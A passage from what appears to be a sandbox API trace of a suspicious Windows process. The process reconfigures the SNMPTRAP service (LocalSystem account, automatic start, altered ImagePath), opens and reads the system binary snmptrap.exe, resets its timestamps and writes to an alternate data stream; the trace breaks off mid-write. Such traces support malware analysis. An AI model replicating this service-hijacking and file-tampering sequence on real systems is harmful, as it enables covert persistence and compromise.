lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0214.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0214.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0214.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0214.259] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0214.259] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0214.259] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0214.259] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0214.259] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0214.259] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0214.259] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0214.260] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0214.261] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0214.261] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0214.261] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0214.261] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.261] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0214.261] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0214.261] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0214.261] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0214.261] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0214.262] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0214.262] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0214.262] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0214.262] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0214.262] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0214.262] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0214.262] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0214.263] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0214.263] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0214.263] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0214.263] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\snmptrap.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x22 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0214.263] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\snmptrap.exe", lpDst=0x21f1e38, nSize=0x22 | out: lpDst="C:\\Windows\\System32\\snmptrap.exe") returned 0x21 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0214.263] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0214.263] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\snmptrap.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\System32\\snmptrap.exe" [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0214.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0214.263] LocalFree (hMem=0x7f2c48) returned 0x0 [0214.263] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0214.263] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x2) returned 0x803990 [0214.264] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0214.284] CloseServiceHandle (hSCObject=0x803990) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.285] RegCloseKey (hKey=0x148) returned 0x0 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0214.285] RegCloseKey (hKey=0x14c) returned 0x0 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0214.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0214.285] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817cf0a9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x817cf0a9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf5355500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3800)) returned 1 [0214.285] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0214.285] GetLastError () returned 0x5 [0214.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0214.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0214.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0214.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0214.288] NtClose (Handle=0x14c) returned 0x0 [0214.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0214.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0214.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0214.583] NtClose (Handle=0x14c) returned 0x0 [0214.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0214.583] NtClose (Handle=0x148) returned 0x0 [0214.583] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x2710) returned 0x0 [0215.065] NtClose (Handle=0xc4) returned 0x0 [0215.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0215.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0215.065] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817cf0a9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x817cf0a9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf5355500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3800)) returned 1 [0215.066] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0215.066] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0215.066] GetFileSize (in: hFile=0xc4, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x3800 [0215.066] SetFilePointer (in: hFile=0xc4, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0215.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x3800) returned 0x21f4ea8 [0215.066] ReadFile (in: hFile=0xc4, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x3800, lpOverlapped=0x0) returned 1 [0215.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x3800) returned 0x21f86b0 [0215.072] SetEndOfFile (hFile=0xc4) returned 1 [0215.072] GetFileTime (in: hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xf5355500, dwHighDateTime=0x1ca0423)) returned 1 [0215.072] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0215.073] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0215.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0215.073] NtClose (Handle=0xc4) returned 0x0 [0215.073] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\snmptrap.exe:0" (normalized: "c:\\windows\\system32\\snmptrap.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0215.073] GetLastError () returned 0x2 [0215.073] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe:0" (normalized: "c:\\windows\\system32\\snmptrap.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0215.076] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0215.076] WriteFile (in: hFile=0xc4, 